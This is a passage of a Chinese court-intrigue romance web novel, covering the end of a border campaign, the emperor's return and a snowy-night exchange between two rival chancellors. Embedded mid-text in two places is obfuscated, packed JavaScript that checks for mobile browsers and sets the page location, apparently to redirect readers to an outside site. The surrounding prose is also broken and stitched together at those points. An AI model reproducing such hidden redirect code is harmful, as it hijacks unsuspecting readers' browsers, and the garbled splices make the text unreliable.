吴清川道:“追,必须拿下鹞儿岭,才能对鞑靼主力造成足够的威胁。” 两边纠缠撕扯,直到道路崎岖的鹞儿岭。 阿罗出率先占住寨口,以地形优势击退紧随其后的追兵,缓过一口气。 寨口箭矢如雨。 赤峰营无法再前进一步。 吴清川下令全军转换阵形。 两边隔着砂石地对峙。 军士皆灰尘满脸,眼布血丝。 这一刻拼的已经不是力量和速度,而是各自的意志。 ——“弓手组装虎蹲。” 吴清川冒着被鞑靼增援部队反击的风险等了一个时辰。 日光渐渐西斜,山谷间刻下一道丹红的细线。 阿罗出登上瞭望亭。 抬头远眺的那一刻,瞳孔映入几点寒光。 “右将军当心!”鞑靼士兵喊道。 铁弹呼啸而过。 啪,亭柱被铅子打穿。 阿罗出被震倒在地,腿骨和木板一起断裂。 木板边缘还冒着热气。 赤峰营的炮弹向鞑靼军队表示出了阜国捍卫权益的决心,击碎了空气中那道隐形的坚冰。 阿罗出是识时务的。 他不能被困在这里,也不敢赌对面这支部队后头是否还有增援,他知道如果此时两国开战,鞑靼将付出巨大的代价,哪怕胜了也是得不偿失的惨胜。 他必须赶回去劝鬼力赤及时撤退。 日暮,阴影笼罩山岭。 阿罗出把辫发甩在身后,往对面看了一眼,大声令道:“撤!” 鞑靼军队在夜幕掩护之下离开鹞儿岭,彻底交出榆木川的控制权。 “将军,他们撤了!”阜国军士齐声欢呼,“我们胜了!” “勿掉以轻心,就地驻扎。”吴清川按住剑鞘,心中复算了一遍日期,下令道,“斥候往前五十里侦查,但见鞑靼主力扬尘,我们再原路退回宣府。” * 峡谷风声如哭嚎。 阿罗出写下一道血书,连夜让轻骑从独石道送去扣在龙门卫之前的鞑靼主力大营。 * “什么?”鬼力赤看着羊皮之上点点暗红,眉头紧锁,“他们居然绕后突袭?” 风吹开帘角。 鬼力赤跳起来:“什么动静?!” 侍卫道:“大汗,是营火。” 鬼力赤光着脚走到外面,仔细一听,才相信是火烧木头发出的噼啪声。 各营将军闻讯赶来。 鬼力赤听着纷乱的脚步声,大吼一声,把血书蒙在脸上。 若说之前的那次失算让他愤怒,那么这一次,他直接感受到的是恐惧。 他怕了。 他的叔父阿罗出亦是草原之上出名的英雄,如今却被一支不知来处的敌人打得狼狈逃窜;榆木川失守,他的后路被切断,十余万大军已经不能对阜国构成威胁。 “叔父,我应该听你的。”鬼力赤自言自语,“我输了,不是输给陆洗,而是输给了自己。” 局势逆转,他现在要想的是如何安全撤回独石口以北的草原深处,如何最大限度地保存实力。 鞑靼部将仍热血慷慨,想要与阜国决一死战。 “不能意气用事。”鬼力赤长叹口气,穿好皮靴,拍了拍上面的草屑,“迅速退军,派使者去平北议和,答应陆洗开出的条件,换回亦思将军。” * 清晨时分,大雁披着朝霞飞过空荡荡的峡谷。 战报从龙门卫一路向南急传平北府。 陆洗站在阁楼凭栏之上,看着飞马踏过行宫门前的大街。 ——“报!” ——“鞑靼退兵!” ——“鞑靼主力部队连夜撤出独石口!” 全城军民为之欢庆。 驱除邪祟的鞭炮声声响起。 “来人。”陆洗开怀而笑,拂袖转身,“替我更衣。” 朱漆栏杆留下一道道划痕。 * 十月中旬,两国之间这场影响深远的博弈以阜国获得全胜而告终。 鞑靼派使者前来求和,承诺归还独石口,赔款纳贡,往后五年不得靠近云河源头,不得发兵骚扰阜国边境,不得截断他国商道。 待赤峰营将士平安返回,阜国朝廷同意议和,放还鞑靼左将军亦思。 在朝廷调度之下,北三省新修大小道路数十条,新开关市九处,朝贺期间谈成的诸多生意也促使地方经济蓬勃发展,一眼望去,集市货品琳琅满目,大街小巷呈现出久违的热闹。 陆洗用最小的代价取得了阜国朝廷近二十年以来最大的外交成就,名震天下。 * 十月下旬,皇帝北巡完毕。 圣驾从平北府出发,踏上回京的路程。 平北城中百姓自发送行,万人空巷。 南郊的庄稼成熟,原野宛如披上一件金色的盛装,空气中飘着谷香。 “右相此番功不可没。”董嫣途中问道,“回京之后想要什么赏赐?” 陆洗道:“臣希望朝廷厉兵秣马,早日收复北方失地。” 董嫣道:“那太远了,听阮祎说大湖织染局近几个月进项挺多,反正过去也是你办起来的,以后就继续给你经营可好?” 陆洗道:“臣德不配位,不敢再要更多。” 董嫣道:“我不信,你这人素来精明,真的一点想要的都没有吗?” 陆洗一笑:“实在说有,倒也有,臣想给某人请功。” 董嫣道:“谁?” 陆洗道:“左相林佩。” 董嫣撩起帘子,瞧了瞧陆洗的脸。 陆洗弯腰道:“树大招风,臣这点心思,还望太后体谅。” 董嫣道:“明白是明白,林相镇守京城亦有功劳,当与你一同封赏,然而他祖上封国公爵位,如今又是当朝宰辅,已位极人臣,我都不知道还能赏他什么。” 陆洗勾了勾唇:“太后如果信臣……” 风吹麦浪,说话声渐渐远去。 * 京城,灯火夜初明。 东长安街口人流熙攘。 米糕的醇香混着桂花芳香飘来,勾起一丝世俗的欲望。 林佩让车夫去店铺里买三笼来。 他刚才处理完京城大小事项,还没吃晚饭,想用些点心。 不料马车还没停下,店东家就把米糕送来了,不多不少正是三份,热腾腾的用竹笼装着。 林佩温和地笑了笑,掏出茄袋要付钱。 “相爷,就因为你几十年如一日在我家买米糕,我这分号都开满京城了。”店东家连连鞠躬,说什么都不肯收钱,崇敬之情溢于言表,“小的一家都记着你的恩情。” 林佩闻之有些恍惚。 他小时候在这里买,长大也一样在这里买,未觉时光如白驹过隙。 京中人情复杂,捷报传到之后,各方对于陆洗所取得的成就的评价并不像平北当地清一色是褒扬,如宗人府仍持批判态度,说陆洗投机取巧,是用社稷安危为赌注博取个人功名。 林佩位于中枢,何尝不明白其中利害。 朝堂权势此消彼长,他这几日若再不出手,等陆洗回京势必封爵,又得户部和工部支持,尽掌营缮都水屯田军器之事,他就很难再动摇其根本了。 回忆年初,陆洗刚到京城,朝中尚无人服气,可才一年不到,这末流出 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“哥。”林倜抱着柠儿,身上青色官袍还没脱,双肩落满细碎的桂花,“你荣升相国,我应该当面恭喜,可惜回来迟了,给你赔罪。” 林倜的五官与林佩有几分相似,独是眼角长着一小块海棠花形的红色胎记。 兄弟虽一母同胞,经历却大不相同。 林倜从小受家中溺爱,长大成了京中有名的纨绔公子,有歌舞、器乐、蹴鞠、马术、登高等诸多爱好,到浙东任上不久,他与一名青楼女子相识,意外生下了柠儿。 孟氏闻讯,说什么都不让那女子进门,只派人去把柠儿抱了回来,放老宅给林佩当养子。 此事当时的确是耽误了林倜的仕途,致其九年不得考满,但这之后,林倜就像变了一个人,不再流连风月,一心实干,贴补着京城两边的家用。 林佩道:“母亲和大哥那里去过了吗?” 林倜道:“白日去过公府了。” 林佩点头。 林倜道:“只是柠儿这小子平时没少打搅你吧?” 柠儿扯了个鬼脸,跑了。 “他很聪明,还教我种豆芽呢。”林佩平和道,“两年未见,你我兄弟说会儿话。” 茶点上桌。 林倜看到米糕,立即伸手拿,笑着调侃:“哥,你对街口那家蒸点铺子真是从一而终。” 林佩道:“嗯。” 林倜道:“照此看来,这两年你和大哥也还是不怎么往来。” 林佩谈起这事,叹口气道:“老生常谈,你大哥怨我的多了,一时半会儿解释不清楚。” 林倜道:“别放心上,咱们林家子弟凭的都是自己的本事,哪个认真指望过你?” 林佩道:“这话听起来更像是骂我。” 林倜道:“我可不敢,是你自己心虚了。” 林佩起身,面向窗外的一轮圆月,背过手:“于道各努力,千里自同风。” 桂花香引来蝴蝶在瓷盘边逗留。 “这趟回来是为到工部交办一些公文。”林倜洗茶浴壶,“年初我们浙东局引入的大花楼织机使妆花缎产量显著提高,明年想多建几间作坊。” “好是好的。”林佩想了想,叮嘱道,“还要谨慎些,尤其不要跟右相扯上瓜葛。” “我可是你的亲弟。”林倜笑道,“我能不知道你和右相如水火难容吗?放心,绝对不会和陆家扯上一丁点关系。” “他最擅长与人结交。”林佩道,“你不去扯他还不够,得防着他来扯你。” “好好好。”林倜道,“知道了。” 水在壶中轻轻晃荡,激发出茶叶的清新。 兄弟二人又闲聊了一阵子,林倜答应林佩在京城过完年再去浙东,多陪母亲孟氏一段时日。 * 仲冬之际,后湖烟波浩渺。 湖边成片的田野已收割完毕,尽覆盖着一层银白的薄霜。 太平门楼张灯结彩。 大红灯笼照着琉璃瓦,将城门装点得华美如画。 文武官员一齐躬迎皇帝北巡归来。 25. 雪夜陈情 绣幡在前开道。 宫人手持花团扇、锦曲盖、紫红伞依次走过。 林佩站在文官之首,凝望五色旌旗在层叠远山之间穿行而来。 皇帝金辂和太后玉辇依然光彩夺目。 林佩的视线越过仪仗,落在后排随行官员的队伍中。 他没用什么力气就找到了陆洗。 陆洗骑着马。 一袭青绯双色锦缎控鹤袄,短衣翻领,丝绸束带修饰出宽肩细腰,皮靴包裹两条修长的腿。他拉扯缰绳,腕上戴的南红玛瑙串珠滑动流光。 林佩心生感慨。 无论什么场合,陆洗的出现总是惊鸿一面,让他忍不住想多看两眼。 他不以外貌评判人,但他懂得欣赏美,见陆洗与旁边几人谈笑,只觉平淡的岁月突然有了一抹酸甜滋味。 “当为衣锦还乡人尽见,长时富贵许谁知……”陆洗纵情得意地唱着戏词,瞥过城门下站立的那个人,忽地停顿,再也记不起下一句。 那人从容指顾,身姿如松树挺拔,立于俗尘之中却带着超脱一切的宁静。他的面容清隽俊美,像精细打磨过的玉石,柳叶般的眼眸清澈明亮,隔得很远就能让人止步凝神。 陆洗觉得口干舌燥。 这一程山水尝过太多辛酸苦辣,唯独看见林佩,如饮山涧清泉。 礼乐奏响,仪仗前部在城门排开。 ——“御驾回銮。” 林佩与陆洗对视片刻,移开目光,带领众臣向朱昱修和董嫣行大礼。 ——“臣等恭迎陛下、太后北巡而归。” 朱昱修道:“众卿平身,左相镇守京师劳苦功高,待正旦大朝一并庆贺行赏。” 仪式过后,车舆兵仗徐徐驶入太平门,到日头西斜方才结束。 * 薄暮余晖洒在红砖绿瓦的楼阁飞檐之上。 “知言。”陆洗快步走进文辉阁,笑着道,“一路上我想了好多话,如果不是你教我怎么看公文批本子,我根本发现不了鞑靼的阴谋,你还预备了一支精兵救局势于水火之中,真可谓未卜先知。” 林佩坐在廊下:“你我之间说这些话,很用不着。” 妞儿趴在旁边睡觉,样子安详惬意,身上的毛发柔顺油亮。 陆洗走近,把妞儿从林佩身边抱起来。 林佩道:“我说不借兵,你转头就去找陛下要,临行前说不会再惹我不高兴,怎么,现在这要死不活的样子又给谁看?” 陆洗哑然一笑,眼中起氤氲:“见着你人,再多的话都是多余,你好好的,我也好好的。” 林佩浅叹口气:“门口那几车装的是什么?” 陆洗道:“这几个月各地送到平北行宫给陛下过目的奏本和题本,咳,以及还没有整理好的记录文簿,等等。” 温情戛然而止。 阁中的郎中、舍人方才还在议论兴许左右丞相小别重逢之后关系能缓和些,便听见廊下传来一阵手心握紧骨节咯吱的声音。 “陆余青。”林佩倏地站起来,声色俱厉,“敢情人家千里迢迢送去平北的奏本,你就挑了几个轻巧的,剩下又原封不动带回来,白白耽误几个月。” 陆洗道:“诶,是。” 林佩道:“你是缺胳膊还是少腿,不能自理吗?” 陆洗道:“知言,知言啊,你不要生气,你不知道在外这半年我有多思念你。” 林佩冷笑一声,拂袖而去。 陆洗追到左侧屋的竹帘前:“我从平北给你带了礼,什么时候方便,我登门拜访。” 阁中众人唏嘘嗟叹,看来左右丞相又吵架了。 良久,左侧屋传出回答。 ——“今晚就很方便,你既要来就干干净净的来,别学什么人去花街柳巷寻欢作乐。” 宋轶打了个喷嚏。 * 夜里下了雪。 书斋前雪影纷飞。 林佩关闭密室,拿起斗篷,准备去大堂迎客。 书童来报:“相爷,右相到门口了,只不过……” 林佩道:“怎么?” 书童道:“是后园的那道随墙门。” “后门?”林佩微微皱眉,心想这人莫不是有什么隐疾,凡事都不走寻常路。 家仆道:“该引他来见吗?还是让他多绕一圈走正门?” 林佩道:“走正门是常理,不能说绕。” 家仆道:“相爷,你事务繁忙未曾留心,咱们府上和陆府其实是挨着的。” 林佩道:“什么?” 他这时才发现自己忽略了一件事。 虽然街道不同,但东长安街和崇文里街住的很多都是大户,宅子大,侧门后门挨着也是有的,譬如林府和陆府的后门其实就只隔一条三尺不到的巷子。 林佩无奈笑一笑,系好斗篷,转身往后园走去。 后园的随墙门开在马棚旁边,门扉通过槛框直接安在前檐柱上,经年的红漆有些褪色,抱鼓石上刻的梅兰竹菊也已被磨损得看不出原貌。 门栓拔开。 几个小厮挑着木箱站在巷子里。 林佩正要问,听到不远处熟悉的脚步声。 陆洗踏雪而来,一袭盘金彩绣沿边石青花树纹锦袍在白雪映衬之下流光溢彩。 “陆大人,夜半后门私会,恕我实在解不了你的风情。”林佩提起灯笼,把人从上往下照了一遍,“再多问一句,你的衣柜里究竟是有多少套衣裳才能如此一年四季的不重样?” 陆洗笑了笑,压低声音,让小厮把箱子迅速放进林府然后从对门溜走。 林佩道:“带的什么礼?” 陆洗道:“鞑靼汗王赔付的上等墨狐皮。” 林佩立时冷下脸:“搬出去,交国库。” 家仆就要动手。 陆洗阻拦道:“诶,别担心,我专门让人处理过,一定看不出来历。” 说着他打开箱子,把东西拿出来。 皮子的品相是极好的,毛绒丰厚,蓬松细腻,灵活光润,即便沾了雪絮也一拍就掉。 陆洗道:“头回遇到这么好的,就想着给你。” 林佩道:“事先交个底,我可没你这泼天的富贵,你再送东西来,别指望我会还。” 陆洗笑道:“还什么,这些俗物如何比得上你给我开的药方?” 林佩道:“嘴上抹了蜜,今日对我说,来日对别人也说。” 陆洗道:“那得看图什么,我与别人是交易,付出一分本钱便想讨回三分的利,我对你却是最用情的,索性你就欠着我,欠得多多的,越多越好,一辈子都不用还。” 林佩看着陆洗那双宝石般透亮的眼眸,心中莫名酥痒,觉得甚有滋味。 一时间连雪花飘在脸上都是烫的。 林佩端详许久,吩咐家仆关门,收下了这份不清不楚的礼。 陆洗呵口热气,搓着手道:“知言,我想去你屋里坐一坐,再与你说会儿话。” 林佩道:“知道我恼你什么吗?” 陆洗道:“不知啊。” 林佩道:“你这没见过世面的样子,多少次坏了我的规矩。” 人的气息在风中化为丝缕白烟。 陆洗抓握一把,张开手掌,看着冰晶渐渐融化。 林佩往前引了几步路,侧身回眸:“别站在那儿淋雪,陆余青。” 小径通向远处透出暖黄灯光的书斋。 白雪覆盖阶前石灯。 铜铃时不时清脆一响,落下闪着光的细碎冰晶。 二人进屋,脱去外袍,坐在炭火边取暖。 林佩吩咐家仆取些雪水来。 陆洗看着架上的书:“这是你常待的地方吗?” 林佩点头道:“曾是家塾,我兄弟三人在这儿跟先生念书,分家后,大哥承袭国公诰券迁往聚宝山,三弟去外地供职,我见此处空置,就改了改布局,一人平时也可读书写字。” 陆洗听林佩谈起家事,感到意外之喜。 “如今祖宅除了我和一个侄儿住着,加上家仆和护院也不过十余人。”林佩伸出双手,靠近炭火取暖,“陆大人府上宾客如云,莺歌燕舞,到我这儿怕觉得冷清吧。” 陆洗醒过神,摇头道:“旁人以讹传讹倒罢了,怎么你也调侃起我来了?上回你大驾光临,可曾见到我身边有一个多余碍眼的没有?” 林佩道:“有你也不会让我看见。” 陆洗道:“真没有,陆余青的名声凭白被世人涂抹,实则至今仍孑然一身。” 林佩莞尔:“那正好,你我余生做伴。” 不知怎的,空气突然安静下来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749282|174260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不说话。”林佩欠了欠身子,隔着从炭盆升起的热浪看向对面那人,“我可就当你答应了。” “你等一等。”陆洗收回目光,转身接来铜壶,“如此是不是有些草率,你我虽已不是鲜衣怒马少年时,毕竟还算体面的人,该有的仪程不好省。” 林佩眉间微蹙:“你胡言乱语些什么?” 陆洗一顿。 林佩道:“正旦大朝在即,我想请奏陛下封你为侯爵。” 陆洗道:“心意我领了,可你若真为我好,这事就别做。” 林佩道:“自然不是为你好,而是为江山社稷。” 陆洗道:“什么?” 林佩停顿片刻,用平静的语气道:“一物换一物,我还将联合宗人府上一道奏疏,请太后董嫣还政于朝,退居后宫,颐养天年。” 壶中的雪水如镜面映着二人各有所思的神情。 “你,啊……”陆洗用手抹了一把脸,藏起眼中的失落,微笑道,“……方才有些误会。” 雪水逐渐煮熟,边缘泛出气泡。 林佩挽袖提壶,一边淋洗杯盏,一边耐心地等待陆洗的回复。 陆洗道:“这事你和太后商量过吗?” 林佩道:“没商量,我势必行之。” 陆洗起身在屋内走了一圈,良久方道:“太后与北方亲族来往过密,京城世家旧族俱有芥蒂,宗人府更是积怨已深,现在北方暂时安定,你手持先帝斩马剑,做这事顺水推舟。” 林佩道:“只有朝局平衡才有天下太平。” 陆洗站在其身后:“当初是她逼你起草敕书任命我,所以现在你要让我去规劝她,合着早在我入京的那天,你就已经算好今天这步棋。” 林佩道:“没有那么早,真要算,是从你对我坦白身世时起。” 陆洗仰头叹气:“枉我半路上还替你请功,你把我当成什么了。” “你是棋子,我亦是棋子。”林佩回头斜睨,“你我既以身入局,是争强斗胜也好,逢场作戏也罢,反正日子总得过,凑合一天是一天。” 陆洗道:“余生作伴,原来是这意思。” 林佩道:“别再误会便好。” 金丝百合花蕊在热水浇注之下一瓣一瓣绽开。 “好,我答应你。”陆洗坐下,动作干净利落,“我有把握说服太后,但要开个条件。” 林佩道:“什么条件?” 陆洗道:“太后喜欢热闹,正旦宫宴让礼部办得隆重些。” 林佩道:“宫中用度过于奢靡,这也是太后为人诟病之处。” 陆洗抚摸着手上的那枚翡翠扳指,淡然一笑:“几年下来多少我都出了,不差这点钱。” 雪水煮的花茶有股独特的清香。 林佩把茶盏端到面前,抬眼看了看陆洗。 他其实没料到陆洗会是这般淡漠凉薄的反应——对给予其大富大贵的董嫣,不仅似毫无亏欠,反而还有些如释重负的意味。 不过他也知道现在下定论为时过早,官场不能只听一个人说什么,还要看这人怎么做。 * 谈完了事,林佩看向窗外,心想继续坐着也是无聊,既有客来,不如做些尽兴的事。 书斋的后面有一片竹林。 从前每到雪天,父亲林亦宁都会带他们几兄弟到林子里敲竹挖笋。 林佩取来两个斗笠,自己一个,分给陆洗一个。 陆洗挑起半边眉毛:“我每回见你都精心捯饬,你倒好,就给我这么个乡野村夫用的东西。” 林佩笑道:“今夜的雪下得真大,趁还没开化,你陪我一趟。” 陆洗从前常在山里跑并不稀罕,但被林佩用手按了一下肩膀,就不自觉地跟去。 二人掀起帘子。 白雪纷飞,银装素裹。 竹子披着白衣,似都有了人的情愁,有的躬身作揖,有的斜倚廊下,有的摇晃,有的醉卧。 林佩抬起手臂,抱掌行礼:“节比琅玕清比雪,四海人称伟丈夫。” 陆洗往两边探了探:“你跟谁说话?” 林佩向雪中行:“竹君。” 陆洗笑了一下,迁就相伴:“大抵书读多了都会染上这酸臭的毛病,年年下雪,年年敲竹,就没有一个正经人告诉你们斗笠不是这样戴的吗?” 26. 敲竹 “嗯?”林佩回过头,扶住斗笠边沿,“哪儿不对?” 陆洗伸手解去他耳边的系绳。 “这一挑一压的叫经篾,中间偏粗偏青色的叫纬篾,经篾松脆,纬篾坚韧。”陆洗的动作很娴熟,“绳扣要系在纬篾,吃住力,这样才不容易把它拉坏。” 林佩道:“原来如此,之前不知其中奥妙,用废了好多。” 陆洗改对之后再为他系好绳结:“别假惺惺的,你哪儿在意一顶斗笠能用多久,坏了不就换了。” 林佩道:“现在在意也不晚,我是说真的,不是嘲笑你。” 二人离得很近。 林佩看见陆洗的喉结动了一下。 吞咽声清晰可闻。 他闻到陆洗身上淡淡的柏子,还闻到彼此气息之中被肺腑温热过的茶香。 “余青。”林佩道,“虽说方才是场误会,但我也到这个年纪了,情事上,不太喜欢装糊涂。” 陆洗的眸中泛起涟漪。 林佩道:“我知道你方才误会的是什么。” “唐突了,我。”陆洗笑一笑,饶是平时好话连篇,这会儿也显得有些口拙。 林佩道:“你去青霖看了我的词?” 陆洗道:“是啊。” 林佩道:“看懂了吗?” 陆洗道:“看不懂,我最怕解读文章,但我知道字如其人,平时特别留心什么样的人写什么样的字,所以哪怕词句再晦涩,我也能通过字迹窥见一个人的气性。” 林佩凝眸:“我是什么气性?” 陆洗道:“你,缺个枕边人。” 林佩深吸口气,正要开骂,眼前人拔腿跑开了。 啪,啪,啪。 竹杖击在竹节上发出清脆的激荡人心的声响。 飞雪惟在竹间最雅,时听淅沥萧萧,连翩瑟瑟,音韵悠然,逸人清听。 林佩沿路一根一根地敲打过去。 白雪纷纷落下。 竹子抖落重负,哗哗挺直身子窜上云霄。 陆洗跑出十几步,腿脚在雪地里渐渐变得沉重,跑不动了。 他喘了会儿气,在林深处停下,静等身后的脚步声离自己越来越近。 人影出现。 林佩走来,一袭群青长袍于风雪中飘动。 那雪中的容颜也甚是精致,鸦睫沾着寒酥,唇间一点丹红,露出的脖颈白皙秀颀。 “知言,不过我这才察觉一件事。”陆洗把手指抵在唇边,微张开嘴,“方才明明是你先试探我,还弄得我现在怪不好意思的。” “月照雪,雪映月。”林佩淡淡一笑,“我知道你的情意,你也知道我的气性,如此相知相守便是岁月静好,可若再要贪心,免不了又添出许多负担,倒成互相折磨。” “我算是见识了,什么叫做——”陆洗一字一顿,“任是无情也动人。” 林佩道:“过来帮忙。” 走到近处,看见红绳系在竹节上。 林佩扫开表层的雪,一铲插进土里,使劲撬动:“这里……可能会有……冬笋。” 二人脚下的土地裂出纹路。 陆洗道:“你怎么知道这里有?” 林佩道:“家父还在世的时候,年年带我们来这里挖,一开始是很多的,后面越来越稀少,但我还是想试试运气。” “如此岂不是刻舟求剑么。”陆洗拨弄着红绳,笑叹口气,“可怜这位竹君,他得多有气节才能经得起你们这样世世代代年年岁岁的挖。” 林佩道:“别光顾着奚落,你要是有什么更好的法子就说。” 陆洗道:“你的手都要冻僵了,我先给你暖暖。” 林佩放开铲子:“说了不必……” 陆洗笑一笑,握住那双冻得发红的手,拢进掌心:“人不能在一棵树上吊死,冬笋是容易长在旧穴附近,但如果这里实在找不到,也是可以去别的地方找的。” 林佩垂下眼帘。 手原是麻木的,不觉得冷,可是一旦感受到温暖,就再也挣不开了。 他感叹陆洗对人心的洞察炉火纯青,甚至比他自己都更清楚他想要的是什么。 陆洗捂着这双手,一动不动,等彻底捂热了才放开。 林佩轻咳一声。 “你且宽心,我这人听得懂好赖话,既然你拒绝了我,我绝不会死缠烂打。”陆洗的眼神干净清透,“一切如旧,你不必有任何顾虑。” 林佩道:“知道了。” 土挖开了,里面并没有笋。 林佩笑笑,自嘲运气不好。 陆洗犹豫片刻,道:“我可以把运气借你一用。” 林佩道:“你?” 陆洗低头解开襟带,脱掉外面的锦衣华服,只留一身单薄的白色底衣。 林佩接过来,问道:“不冷吗?” 陆洗道:“宁可冷些,不然衣服弄脏了多可惜。” 林佩道:“你要做什么?” 陆洗先抬头观察顶端叶梢的方向,找准竹枝密集而且叶子有点泛黄的竹子,然后蹲下身,用石片把竹根周围的泥土刨开,在土里摸了好一阵子,摸出一条细长的青绿色的茎。 林佩抱着衣服跟在旁边,看得一头雾水。 陆洗一边摸竹鞭一边挪动身子,不断用竹杖敲附近地面听声,终于在某一处停下。 ——“就是这里。” 陆洗拍去身上的土,用枝条划出标记。 林佩道:“这里有吗?” 陆洗笑道:“你再试试运气。” 一铲,两铲,三铲。 才挖到第三铲他们就看见了笋尖。 林佩丢开铁铲,惊喜道:“挖到了。” 他正要挽袖,被陆洗抢先一步拦下。 “我来。”陆洗道,“笋壳锋利,你看着就好,别被割手。” 雪夜,竹林里传来一阵阵对话与欢笑。 红绳换到了新的地方。 笋子装在筐里,沉甸甸的。 人越是经历过大风大浪,越珍惜生活之中一点小小的单纯的情趣。 林佩由是对陆洗生出一种别样的欣赏。 他们并肩而行,各自有立场,如同枝叶相交而根系稳扎地下的两片林木。 * 林佩处理完皇帝北巡期间积压的公务,着手准备正旦大朝及宫宴事宜。 每年正月初一,朝廷要在前朝三大殿举行百官朝贺天子、内外命妇朝贺皇后的礼仪活动。 太宗朝封赏的开国功臣,魏国公林氏、郑国公姚氏、韩国公杜氏、曹国公明氏,四大公爵之下十八位侯爵,世袭的拢共十二位,都会携内眷参加朝贺; 朝廷重臣,包含中书、五府、六部、应天府、都察院、翰林院、五寺,五品及以上共计八十余人,皆在殿内排座位。 这么多人挤在一起,大到仪式流程,小到器物摆放,错一样都可能惹是非。 礼部仪制司和光禄寺负责准备所需物品。 方时镜一向主张缩减皇宫开支,听说今年的排场比去年不减反增,一气之下连上了九道奏本,严肃反对皇室铺张的行为。 文辉阁左书屋,帘子掀起,一袭绯袍直接走进来。 “知言,为何驳我?”方时镜把本子放在林佩的书案上,“我不改了,再拖就来不及了。” 林佩搁下笔,道:“师兄,劝皇家节俭减省这种事古人最多也就上三道奏本,你连上九道,就不怕别人说你沽名钓誉吗?” 方时镜道:“不说别的,光是用三千金打造用象牵拉的大辂,我就看不过去。” 林佩顿了顿,再次把本子推回方时镜面前,说明两件事。 首先,打造辂车所用的黄金由大内出,不用国库拨款; 其次,待正旦庆典之后,他会专门给礼部一个名目研究如何合理地减省皇宫开支。 方时镜道:“若如此尚可接受,可是太后肯定不会答应。” 林佩道:“其它你不用管,你只管磨好这一剑。” 熟悉的人,熟悉的话,无论多少遍都管用。 方时镜是一把宝剑。 宝剑不怕强权,只怕蒙污。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林佩亲自相送,一路送到千步廊。 阁中众人见这一迎一送,不禁对吴清川的身份感到好奇,私下悄声议论。 “好了,别瞎打听了。”温迎叫来一位郎中,“诏书拟的如何,拿来我检查。” 郎中又叫舍人。 这是一道封侯诏书。 前半部分写皇帝之期望,中间部分写其人所立功绩,最后写封号和爵位。 温迎看完之后改了几个词,耐心指导下面的人,并让重新撰写。 林佩从千步廊回到阁中时,这封诏书已经摆在书案上了。 “动作挺快的。”林佩微笑,拿起来过一遍,点头道,“你的笔法也越来越老道了。” 温迎道:“要让陆相先看一看吗?” 林佩道:“不必,这是件好事,给他留点悬念。” 温迎道:“是。” 林佩从袖子中拿出一道金黄龙纹锦奏本,云淡风轻地说道:“刚才路过宗人府,从靖亲王那里取来的,记得和封侯诏书并排放在最上面,用一根绳子系着。” 温迎不经意瞥到封面字样,突然手一抖。 奏本从指间滑落,所幸被林佩当空接住。 林佩咳了咳,提醒道:“稳重些,你也跟我好些年。” 温迎面露惊惧:“大人……” 又压低声音,凑到跟前:“大人要和宗人府联手劝太后还政?” 林佩道:“是。” 温迎道:“可我们什么准备都没有做,万一太后震怒该当如何?” 林佩道:“自有人会去劝慰。” 温迎道:“谁?” 林佩瞟了一眼对门。 温迎缓过神,擦了擦汗,仍是似懂非懂,但不再心惊。 “许久没有下棋。”林佩笑了笑,坐到榻几一旁,示意温迎去取棋盘,“让我看一看你的棋艺有无精进。” 少顷,云鹤锦玉轴诏书制成。 郎中依令把诏书与宗人府的金黄龙纹锦奏本系在一处送入皇宫。 棋局开始了。 27. 双活 林佩给温迎讲的棋形叫无眼双活。 “永熙十四至二十四年,国力之所以衰弱,国库之所以空虚,一切的根源在于诸皇子党争内耗。”林佩执白,把棋谱放在一旁,等对方先行,“先帝废长立幼,使朝廷上下人心不稳,中枢权力更替不休,各级官员自顾不暇,又何谈让政治清明。” 温迎执黑,对照棋谱落子。 林佩走的是模仿棋。 棋形中心对称,双方相绕相缠。 温迎道:“大人,我跟你这些年,还是第一次听你直言不讳。” 林佩叹口气:“讳疾忌医到头来伤的是自己,党争那段日子,想必恩师也有诸多无奈,只是他一个人扛着没有告诉我们。” 温迎道:“先贤有言,若遇病重之人,不可直接下猛药厚味,得先喂之以稀粥,待其脏腑调和,才能进行下一步的治疗。” 林佩道:“你说的对,朝廷今年做的两件事,广南宣政,平北朝贺,相当于是调和脏腑,把天下形势稳住,清理出一张空的棋盘。” 温迎说出自己的见解:“接下来,若想百业振兴,首先得重构中枢。” 双方各走八步之后,棋盘中心呈现出一个黑白交缠的“回”字。 棋谱翻页,却戛然而止,只剩空白。 温迎皱了皱眉:“是不是缺页了?” 林佩道:“不是缺页,而是到这里就已经活棋,棋盘中间部分直到棋局结束都不用再走。” 温迎指向回字的对角空位:“明明还有外气可以收。” 林佩一笑,又拈起两子:“那好,我陪你继续走两步。” 黑白双方各把外气收掉之后,回字形中便只剩下内部两个点位,是属于双方的公气。 “这……”温迎的手里抓了大把的棋子,却踌躇不定怎么都下不去。 林佩缓缓讲道:“你也发现问题了,如果黑棋先争,堵住白棋的同时将不可避免把自己的气也堵住,那再轮到白棋,一子便能围杀区域内所有的黑棋,黑棋就无法活了。” 方寸之间,局势变幻莫测。 “反过来,如果黑棋放弃这一区域,白棋先争。”林佩用指尖轻触气点,“那么白棋也会陷入同样的境地,只要落子,便立刻被黑棋反杀。” “抢占先机未必是好事。”温迎恍然大悟,“中间的气,谁先占则谁先死。” 林佩见对方已经理解棋路,于是再进一步,把棋局与权谋之局做类比。 董嫣及其党羽如今尽掌工部营缮、都水、屯田、军器之事,操控市税、关税及商贸,染指户部度支与礼部主客,谋划调用国资建设北京,壮大北方边军,这些都是事实。 另一面,世居金陵的旧族,包括宗人府在内,仍把控着官员考功任免、农渔盐铁赋税、文选仪制、刑部司法等重大事务,且对天下半数兵马有调度之权,这些也是事实。 